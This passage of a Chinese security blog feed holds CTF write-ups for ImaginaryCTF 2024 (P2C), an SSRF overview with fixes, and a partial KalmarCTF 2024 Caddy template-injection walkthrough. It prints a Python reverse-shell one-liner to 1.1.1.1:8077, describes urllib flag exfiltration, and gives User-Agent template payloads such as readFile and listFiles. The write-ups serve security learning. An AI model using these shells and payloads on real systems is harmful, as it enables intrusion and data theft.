class="line">PHP 7.4.33 (cli) (built: Nov 15 2022 06:03:30) ( NTS )</span><br><span class="line">Copyright (c) The PHP Group</span><br><span class="line">Zend Engine v3.4.0, Copyright (c) Zend Technologies</span><br></pre></td></tr></table></figure><p>经过测试发现，在此版本中确实被php代码执行，但由于<code>strpos()</code>有返回值了，所以需要在<code>strpos()</code>中进行拼接，最后playload</p><p><img src="/posts/25584ce3/0c997be916d7493419331d129c081b49.png" alt="0c997be916d7493419331d129c081b49"></p><h1 id="P2C"><a href="#P2C" class="headerlink" title="P2C"></a>P2C</h1><blockquote><p> (100 pts) - 247 solves by FIREPONY57</p><p><strong>Description</strong></p><p>Welcome to Python 2 Color, the world’s best color picker from python code!</p><p>附件：<a href="p2c_release.zip">点击下载附件</a></p></blockquote><p>重点就是这个函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">xec</span>(<span class="params">code</span>):</span><br><span class="line">    code = code.strip()</span><br><span class="line">    indented = <span class="string">&quot;\n&quot;</span>.join([<span class="string">&quot;    &quot;</span> + line <span class="keyword">for</span> line <span class="keyword">in</span> code.strip().splitlines()])</span><br><span class="line"></span><br><span class="line">    file = <span class="string">f&quot;/tmp/uploads/code_<span class="subst">&#123;md5(code.encode()).hexdigest()&#125;</span>.py&quot;</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(file, <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(<span class="string">&quot;def main():\n&quot;</span>)</span><br><span class="line">        f.write(indented)</span><br><span class="line">        f.write(<span class="string">&quot;&quot;&quot;\nfrom parse import rgb_parse</span></span><br><span class="line"><span class="string">print(rgb_parse(main()))&quot;&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line">    os.system(<span class="string">f&quot;chmod 755 <span class="subst">&#123;file&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        res = subprocess.run([<span class="string">&quot;sudo&quot;</span>, <span class="string">&quot;-u&quot;</span>, <span class="string">&quot;user&quot;</span>, <span class="string">&quot;python3&quot;</span>, file], capture_output=<span class="literal">True</span>, text=<span class="literal">True</span>, check=<span class="literal">True</span>, timeout=<span class="number">0.1</span>)</span><br><span class="line">        output = res.stdout</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        output = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    os.remove(file)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> output</span><br></pre></td></tr></table></figure><p>简单来说就是根据输入的code，最后生成一个，如下格式的<code>py</code>文件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment">#input code</span></span><br><span class="line"><span class="keyword">from</span> parse <span class="keyword">import</span> rgb_parse</span><br><span class="line"><span class="built_in">print</span>(rgb_parse(main()))</span><br></pre></td></tr></table></figure><p><code>rgb_parse()</code>函数定义中<code>parse.py</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">rgb_parse</span>(<span class="params">inp=<span class="string">&quot;&quot;</span></span>):</span><br><span class="line">   inp = <span class="built_in">str</span>(inp)</span><br><span class="line">   randomizer = random.randint(<span class="number">100</span>, <span class="number">1000</span>)</span><br><span class="line">   total = <span class="number">0</span></span><br><span class="line">   <span class="keyword">for</span> n <span class="keyword">in</span> inp:</span><br><span class="line">      n = <span class="built_in">ord</span>(n)</span><br><span class="line">      total += n+random.randint(<span class="number">1</span>, <span class="number">10</span>)</span><br><span class="line">   rgb = total*randomizer*random.randint(<span class="number">100</span>, <span class="number">1000</span>)</span><br><span class="line">   rgb = <span class="built_in">str</span>(rgb%<span class="number">1000000000</span>)</span><br><span class="line">   r = <span class="built_in">int</span>(rgb[<span class="number">0</span>:<span class="number">3</span>]) + <span class="number">29</span></span><br><span class="line">   g = <span class="built_in">int</span>(rgb[<span class="number">3</span>:<span class="number">6</span>]) + random.randint(<span class="number">10</span>, <span class="number">100</span>)</span><br><span class="line">   b = <span class="built_in">int</span>(rgb[<span class="number">6</span>:<span class="number">9</span>]) + <span class="number">49</span></span><br><span class="line">   r, g, b = r%<span class="number">256</span>, g%<span class="number">256</span>, b%<span class="number">256</span></span><br><span class="line">   <span class="keyword">return</span> r, g, b</span><br></pre></td></tr></table></figure><h2 id="思路一：-反弹Shell"><a href="#思路一：-反弹Shell" class="headerlink" title="思路一： 反弹Shell"></a>思路一： 反弹Shell</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">res = subprocess.run([&quot;sudo&quot;, &quot;-u&quot;, &quot;user&quot;, &quot;python3&quot;, file], capture_output=True, text=True, check=True, timeout=0.1)</span><br></pre></td></tr></table></figure><p>最开始看到<code>timeout=0.1</code><del>还以为python与php一样，执行子进程的时间算作整体时间</del>，0.1秒反弹出shell好像并没有啥用，实际上是可以反弹出shell，<code>timeout=0.1</code>对反弹shell并没有影响</p><p>去hacktools里生成一个python的反弹shell语句</p><p><img src="/posts/25584ce3/image-20240729012746191.png" alt="image-20240729012746191"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -c &#x27;import os,pty,socket;s=socket.socket();s.connect((&quot;1.1.1.1&quot;,8077));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&quot;sh&quot;)&#x27;</span><br></pre></td></tr></table></figure><p>贴上去</p><p><img src="/posts/25584ce3/image-20240729012929786.png" alt="image-20240729012929786"></p><p>虽然页面会报500错误</p><p><img src="/posts/25584ce3/image-20240729012624771.png" alt="image-20240729012624771"></p><p>成功反弹到shell</p><p><img src="/posts/25584ce3/image-20240729012558399.png" alt="image-20240729012558399"></p><h2 id="思路二：-利用urllib库"><a href="#思路二：-利用urllib库" class="headerlink" title="思路二： 利用urllib库"></a>思路二： 利用<code>urllib</code>库</h2><p>这个思路就是直接读取文件，然后因为系统命令行中没有curl命令使用，且没有<code>requests</code>库，但可以依靠原生的<code>urllib</code>库，将flag外带出来</p><p><img src="/posts/25584ce3/image-20240729014153989.png" alt="image-20240729014153989"></p><p>虽然也500，但最终也是拿到了flag</p><p><img src="/posts/25584ce3/image-20240729014234275.png" alt="image-20240729014234275"></p><h2 id="思路三：-利用random-seed"><a href="#思路三：-利用random-seed" class="headerlink" title="思路三： 利用random.seed"></a>思路三： 利用<code>random.seed</code></h2><blockquote><p>这种是官方的WP中的解法，这里讲一下思路</p><p>链接指路：<a href="https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Web/p2c/challenge/solve.py">https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Web/p2c/challenge/solve.py</a></p></blockquote><p>random库在设置seed后，<code>random.randint()</code>范围确定时，生成的值为固定的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">import random</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    random.seed(1)</span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    main()</span><br><span class="line">    print(random.randint(100, 1000))</span><br><span class="line">    </span><br><span class="line">PS F:\CTF  File\imaginaryctf\p2c_release&gt; </span><br><span class="line">237</span><br><span class="line">PS F:\CTF  File\imaginaryctf\p2c_release&gt; </span><br><span class="line">237</span><br><span class="line">PS F:\CTF  File\imaginaryctf\p2c_release&gt; </span><br><span class="line">237</span><br><span class="line">PS F:\CTF  File\imaginaryctf\p2c_release&gt; </span><br><span class="line">237</span><br><span class="line">PS F:\CTF  File\imaginaryctf\p2c_release&gt; </span><br><span class="line">237</span><br><span class="line">PS F:\CTF  File\imaginaryctf\p2c_release&gt; </span><br><span class="line">237</span><br></pre></td></tr></table></figure><p>且函数中<code>rgb_parse(inp=&quot;&quot;)</code>的<code>inp</code>值为可控的，我们需要将其固定，此时我们可以控制<code>random.seed()</code>的值，每个不同值通过<code>rgb_parse()</code>，此时return的值不再是变化的而是一个固定的值</p><p>将<code>random.seed()</code>的值为flag字符的中的逐个字符，这样变量只有flag的每个字符，在本地根据return的rgb算法跑一边彩虹表，也就是官方题解中的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lookup = &#123;rgb_parse(i, &quot;aaa&quot;):i for i in range(256)&#125;</span><br></pre></td></tr></table></figure><p>最终每个rgb根据彩虹表的映射关系，还原为原本的字符</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;靶场链接：&lt;a href=&quot;https://2024.imaginaryctf.org/&quot;&gt;https://2024.imaginaryctf.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;官方WP指路：&lt;a href=&quot;https://github.com/ImaginaryCTF/I</summary>
      
    
    
    
    <category term="WriteUp" scheme="https://wells.host/categories/WriteUp/"/>
    
    
    <category term="WriteUp" scheme="https://wells.host/tags/WriteUp/"/>
    
  </entry>
  
  <entry>
    <title>服务器端请求伪造(SSRF)</title>
    <link href="https://wells.host/posts/d35506b2/"/>
    <id>https://wells.host/posts/d35506b2/</id>
    <published>2024-04-13T15:54:12.000Z</published>
    <updated>2025-08-05T09:16:33.185Z</updated>
    
    <content type="html"><![CDATA[<h1 id="SSRF"><a href="#SSRF" class="headerlink" title="SSRF"></a>SSRF</h1><p>服务端请求伪造（Server Side Request Forgery, SSRF）</p><p>攻击者构造形成以服务器的身份发送一条构造好的请求给服务器所在内网。因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统</p><style>.ilwjcygizxix{zoom: 50%;}</style><img src="/posts/d35506b2/exploiting_ssrf_vulnerability.png" class="ilwjcygizxix" alt="What is server-side request forgery (SSRF)? | Invicti"><h2 id="危害"><a href="#危害" class="headerlink" title="危害"></a>危害</h2><ul><li>可以对服务器所在的内网环境进行端口扫描、资源访问</li><li>访问内部资源,如连接数据库等</li><li>若在云服务器可以利用云服务器元数据攻击云平台内其他组件或服务</li><li>利用Redis未授权访问getshell</li></ul><h2 id="场景"><a href="#场景" class="headerlink" title="场景"></a>场景</h2><ul><li>XXE漏洞点</li><li>图片加载&#x2F;下载：通过URL加载网络图片(头像上传等)</li><li>转码服务：适配手机屏幕大小并通过URL地址进行图片转码</li><li>分享功能：通过URL地址分享网页内容，通过URL获取目标页标题、页面、截图等内容</li><li>编辑器进行远程图片抓取<ul><li>如: ueditor(ueditor的远程图片抓取的地址一般在<code>/ueditor/editor_config.js</code>中的<code>catcherUrl</code>参数中)</li></ul></li></ul><p>​</p><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><h3 id="访问内网服务"><a href="#访问内网服务" class="headerlink" title="访问内网服务"></a>访问内网服务</h3><h3 id="伪协议利用"><a href="#伪协议利用" class="headerlink" title="伪协议利用"></a>伪协议利用</h3><h3 id="Redis利用"><a href="#Redis利用" class="headerlink" title="Redis利用"></a>Redis利用</h3><h3 id="云主机"><a href="#云主机" class="headerlink" title="云主机"></a>云主机</h3><h2 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h2><h2 id="Bypass"><a href="#Bypass" class="headerlink" title="Bypass"></a>Bypass</h2><h3 id="更改IP地址写法"><a href="#更改IP地址写法" class="headerlink" title="更改IP地址写法"></a>更改IP地址写法</h3><h3 id="解析到内网的域名"><a href="#解析到内网的域名" class="headerlink" title="解析到内网的域名"></a>解析到内网的域名</h3><h3 id="利用HTTP状态码跳转"><a href="#利用HTTP状态码跳转" class="headerlink" title="利用HTTP状态码跳转"></a>利用HTTP状态码跳转</h3><h3 id="协议替代"><a href="#协议替代" class="headerlink" title="协议替代"></a>协议替代</h3><h3 id="利用域名特殊字符标准化处理"><a href="#利用域名特殊字符标准化处理" class="headerlink" title="利用域名特殊字符标准化处理"></a>利用域名特殊字符标准化处理</h3><h3 id="利用IPv6"><a href="#利用IPv6" class="headerlink" title="利用IPv6"></a>利用IPv6</h3><h3 id="DNS-Rebinding-DNS重绑定"><a href="#DNS-Rebinding-DNS重绑定" class="headerlink" title="DNS Rebinding(DNS重绑定)"></a>DNS Rebinding(DNS重绑定)</h3><h2 id="Fix"><a href="#Fix" class="headerlink" title="Fix"></a>Fix</h2><blockquote><p>看到很多面试喜欢问这个，就顺手写一下</p></blockquote><p>设置内网IP的黑名单，对于在黑名单内的IP，禁止访问</p><p>统一 IP 地址格式</p><p>过滤特殊字符，对URL规范化处理</p><p>禁止302跳转，设置不跟随跳转</p><p>对于域名来说，应先通过DNS解析IP，判断IP是否为内网黑名单中</p><p>检测协议，设置协议白名单，可以防止<code>file://</code>,<code>gopher://</code>,<code>ftp://</code> 等协议引起的问题。</p><p>对DNS Rebinding(DNS重绑定)，考虑使用DNS缓存或者Host白名单</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;SSRF&quot;&gt;&lt;a href=&quot;#SSRF&quot; class=&quot;headerlink&quot; title=&quot;SSRF&quot;&gt;&lt;/a&gt;SSRF&lt;/h1&gt;&lt;p&gt;服务端请求伪造（Server Side Request Forgery, SSRF）&lt;/p&gt;
&lt;p&gt;攻击者构造形成以服务器的</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-SSRF" scheme="https://wells.host/tags/Web-SSRF/"/>
    
  </entry>
  
  <entry>
    <title>2024KalmarCTF-WEB复盘</title>
    <link href="https://wells.host/posts/fbcd83ad/"/>
    <id>https://wells.host/posts/fbcd83ad/</id>
    <published>2024-03-19T05:16:51.000Z</published>
    <updated>2025-08-05T09:16:33.144Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>前言：</strong></p><p>靶场链接：<a href="https://kalmarc.tf/challenges">https://kalmarc.tf/challenges</a></p><p>难度太大了根本写不出来<br>参考大佬的题解最后复盘出来的</p><p>原文链接：<a href="https://ireland.re/posts/KalmarCTF_2024/">https://ireland.re/posts/KalmarCTF_2024/</a></p></blockquote><h1 id="复盘题解"><a href="#复盘题解" class="headerlink" title="复盘题解"></a>复盘题解</h1><h2 id="Ez-⛳-v2"><a href="#Ez-⛳-v2" class="headerlink" title="Ez ⛳ v2"></a>Ez ⛳ v2</h2><h3 id="题目描述"><a href="#题目描述" class="headerlink" title="题目描述"></a>题目描述</h3><blockquote><p>Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot of powerful things, e.g. wanna know if your browser supports <em>HTTP3</em>? Or <em>TLS1.3</em>? etc</p><p><em>Caddy web服务器非常棒，使用简洁紧凑的语法可以做很多强大的事情，例如，想知道你的浏览器是否支持HTTP3？或者TLS1.3？等等。</em></p><p>Flag is located at <em>GET &#x2F;$(head -c 18 &#x2F;dev&#x2F;urandom | base64)</em> go fetch it.</p><p><em>Flag 位于GET &#x2F;$(head -c 18 &#x2F;dev&#x2F;urandom | base64)，去获取它吧。</em></p><p>附件：<a href="handout-caddy.zip">点击下载附件</a></p></blockquote><h3 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h3><p>下载完打开附件包发现只有四个文件，<code>Caddyfile</code>、<code>docker-compose.yml</code>这两个中有比较有用的信息</p><p><code>docker-compose.yml</code>中的关键信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">caddy:</span><br><span class="line">  image: caddy:2.7.6-alpine</span><br><span class="line">  volumes:</span><br><span class="line">    - ./Caddyfile:/etc/caddy/Caddyfile:ro</span><br><span class="line">    - ./flag:/wpqdDNHnYu8MZeclmpCr9Q:ro  # FILE WILL BE RENAMED TO SOMETHING SIMILAR RANDOM ON PROD</span><br><span class="line">       # 文件将在生产环境中被重新命名为类似的随机名称</span><br></pre></td></tr></table></figure><p><code>Caddyfile</code>中为对Caddy的配置文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line">(sec_headers) &#123;</span><br><span class="line">    root * /</span><br><span class="line">    header &#123;</span><br><span class="line">        Content-Security-Policy &quot;default-src &#x27;none&#x27;; frame-ancestors &#x27;none&#x27;; base-uri &#x27;none&#x27;;&quot;</span><br><span class="line">        Strict-Transport-Security &quot;max-age=31536000&quot;</span><br><span class="line">        X-XSS-Protection 0</span><br><span class="line">        X-Content-Type-Options nosniff</span><br><span class="line">        X-Frame-Options DENY</span><br><span class="line">        Referrer-Policy &quot;no-referrer&quot;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">(html_reply) &#123;</span><br><span class="line">    import sec_headers</span><br><span class="line">    header Content-Type text/html</span><br><span class="line">    templates</span><br><span class="line">    respond &quot;&lt;!DOCTYPE html&gt;&lt;meta charset=utf-8&gt;&lt;title&gt;&#123;http.request.host&#125;&lt;/title&gt;&lt;body&gt;&#123;args[0]&#125;&lt;/body&gt;&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">(json_reply) &#123;</span><br><span class="line">    templates &#123;</span><br><span class="line">        # By default placeholders are not replaced for json</span><br><span class="line">        mime application/json</span><br><span class="line">    &#125;</span><br><span class="line">    header Content-Type application/json</span><br><span class="line">    respond &quot;&#123;args[0]&#125;&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">(http_reply) &#123;</span><br><span class="line">    tls internal &#123;</span><br><span class="line">        alpn &quot;&#123;args[0]&#125;&quot;</span><br><span class="line">    &#125;</span><br><span class="line">    map &#123;args[0]&#125; &#123;proto_name&#125; &#123;</span><br><span class="line">        http/1.1 HTTP/1.1</span><br><span class="line">        h2 HTTP/2.0</span><br><span class="line">        h3 HTTP/3.0</span><br><span class="line">    &#125;</span><br><span class="line">    @correctALPN `&#123;http.request.proto&#125; == &#123;proto_name&#125;`</span><br><span class="line">    respond @correctALPN &quot;You are connected with &#123;http.request.proto&#125; (&#123;tls_version&#125;, &#123;tls_cipher&#125;).&quot;</span><br><span class="line">    import html_reply &quot;You are connected with &#123;http.request.proto&#125; instead of &#123;proto_name&#125; (&#123;tls_version&#125;, &#123;tls_cipher&#125;). &lt;!-- Debug: &#123;http.request.uuid&#125;--&gt;&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">(tls_reply) &#123;</span><br><span class="line">    tls internal &#123;</span><br><span class="line">        protocols &#123;args[0]&#125; &#123;args[1]&#125;</span><br><span class="line">    &#125;</span><br><span class="line">    header Access-Control-Allow-Origin &quot;*&quot;</span><br><span class="line">    import json_reply &#123;&quot;tls_version&quot;:&quot;&#123;tls_version&#125;&quot;,&quot;alpn&quot;:&quot;&#123;http.request.tls.proto&#125;&quot;,&quot;sni&quot;:&quot;&#123;http.request.tls.server_name&#125;&quot;,&quot;cipher_suite&quot;:&quot;&#123;http.request.tls.cipher_suite&#125;&quot;&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">mtls.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    tls internal &#123;</span><br><span class="line">        client_auth &#123;</span><br><span class="line">            mode require</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    templates</span><br><span class="line">    import html_reply `You are connected with client-cert &#123;http.request.tls.client.subject&#125;`</span><br><span class="line">&#125;</span><br><span class="line">tls.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    import tls_reply tls1.2 tls1.3</span><br><span class="line">&#125;</span><br><span class="line">tls12.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    import tls_reply tls1.2 tls1.2</span><br><span class="line">&#125;</span><br><span class="line">tls13.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    import tls_reply tls1.3 tls1.3</span><br><span class="line">&#125;</span><br><span class="line">ua.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    tls internal</span><br><span class="line">    templates</span><br><span class="line">    import html_reply `User-Agent: &#123;&#123;.Req.Header.Get &quot;User-Agent&quot;&#125;&#125;`</span><br><span class="line">&#125;</span><br><span class="line">http.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    tls internal</span><br><span class="line">    templates</span><br><span class="line">    import html_reply &quot;You are connected with &#123;http.request.proto&#125; (&#123;tls_version&#125;, &#123;tls_cipher&#125;).&quot;</span><br><span class="line">&#125;</span><br><span class="line">http1.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    import http_reply http/1.1</span><br><span class="line">&#125;</span><br><span class="line">http2.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    import http_reply h2</span><br><span class="line">&#125;</span><br><span class="line">http3.caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    import http_reply h3</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">caddy.chal-kalmarc.tf &#123;</span><br><span class="line">    tls internal</span><br><span class="line">    import html_reply `Hello! Wanna know you if your browser supports &lt;a href=&quot;https://http1.caddy.chal-kalmarc.tf/&quot;&gt;http/1.1&lt;/a&gt;? &lt;a href=&quot;https://http2.caddy.chal-kalmarc.tf/&quot;&gt;http/2&lt;/a&gt;? Or fancy for some &lt;a href=&quot;https://http3.caddy.chal-kalmarc.tf/&quot;&gt;http/3&lt;/a&gt;?! Check your preference &lt;a href=&quot;https://http.caddy.chal-kalmarc.tf/&quot;&gt;here&lt;/a&gt;.&lt;br/&gt;We also allow you to check &lt;a href=&quot;https://tls12.caddy.chal-kalmarc.tf/&quot;&gt;TLS/1.2&lt;/a&gt;, &lt;a href=&quot;https://tls13.caddy.chal-kalmarc.tf/&quot;&gt;TLS/1.3&lt;/a&gt;, &lt;a href=&quot;https://tls.caddy.chal-kalmarc.tf/&quot;&gt;TLS preference&lt;/a&gt;, supports &lt;a href=&quot;https://mtls.caddy.chal-kalmarc.tf/&quot;&gt;mTLS&lt;/a&gt;? Checkout your &lt;a href=&quot;https://ua.caddy.chal-kalmarc.tf/&quot;&gt;User-Agent&lt;/a&gt;!&lt;!-- At some point we might even implement a &lt;a href=&quot;https://flag.caddy.chal-kalmarc.tf/&quot;&gt;flag&lt;/a&gt; endpoint! --&gt;`</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>对于没用接触过的Caddy的我只能去官方文档看看其中的配置文件所代表的含义  <del>查了下发现还有中文文档哈哈哈哈哈哈哈哈哈哈</del></p><p>链接：<a href="https://caddy2.dengxiaolong.com/docs/">Caddy v2中文文档 (dengxiaolong.com)</a></p><p>不懂的就半查半猜，问问狗屁通，然后有个初步的理解:</p><p>Caddy中存在一个概念：<strong>片段</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(指令名)&#123;</span><br><span class="line">具体的指令内容</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>例如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">(html_reply) &#123;</span><br><span class="line">    import sec_headers</span><br><span class="line">    header Content-Type text/html</span><br><span class="line">    templates</span><br><span class="line">    respond &quot;&lt;!DOCTYPE html&gt;&lt;meta charset=utf-8&gt;&lt;title&gt;&#123;http.request.host&#125;&lt;/title&gt;&lt;body&gt;&#123;args[0]&#125;&lt;/body&gt;&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>片段类似于我们熟悉的概念：<strong>函数</strong>，可以在被调用</p><p>在任何你需要的地方重复使用它：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">import 指令名</span><br></pre></td></tr></table></figure><p><strong>块</strong></p><p><strong>块</strong>由一对花括号完成的：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">... &#123;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>花括号前写所服务的域名，花括号后填写对应的指令</p><p>此外在<strong>片段</strong>中有一个<strong>特别的指令</strong>：<code>templates</code>-模板，类似于python中的Jinja2模板引擎，进行实时渲染</p><p>对应的官方文档：<a href="https://caddyserver.com/docs/modules/http.handlers.templates">Module http.handlers.templates - Caddy Documentation (caddyserver.com)</a></p><p>根据<code>templates</code>对应的语法规则（<code>&#123;&#123;指令&#125;&#125;</code>）尝试能不能和Python一样进行模板注入</p><p>由于修改UA（<code>User-Agent</code>）比较方便，所以我选择了<code>ua.caddy.chal-kalmarc.tf</code>，将UA修改为<code>&#123;&#123;7*7&#125;&#125;</code>发现服务端返回了<code>500</code>错误，发现这个思路应该是有戏，修改为<code>&#123;&#123;.Host&#125;&#125;</code>发现最后页面返回了<code>User-Agent: ua.caddy.chal-kalmarc.tf</code>，发现确实可以进行类似模板注入的操作，而官方文档中有两个可以让我们读到<code>flag</code>的指令</p><p>1.<code>readFile</code></p><p><em>Reads and returns the contents of another file, as-is. Note that the contents are NOT escaped, so you should only read trusted files.</em><br><em>按原样读取并返回另一个文件的内容。请注意，内容不会被转义，因此您应该只读取受信任的文件。</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;readFile &quot;path/to/file.html&quot;&#125;&#125;</span><br></pre></td></tr></table></figure><p>2.<code>listFiles</code></p><p><em>Returns a list of the files in the given directory, which is relative to the template context’s file root.</em><br><em>返回给定目录中的文件列表，该列表相对于模板上下文的文件根目录。</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;listFiles &quot;/mydir&quot;&#125;&#125;</span><br></pre></td></tr></table></figure><p>因此我们修改UA为<code>&#123;&#123;listFiles "/"&#125;&#125;</code>获得flag的文件名： 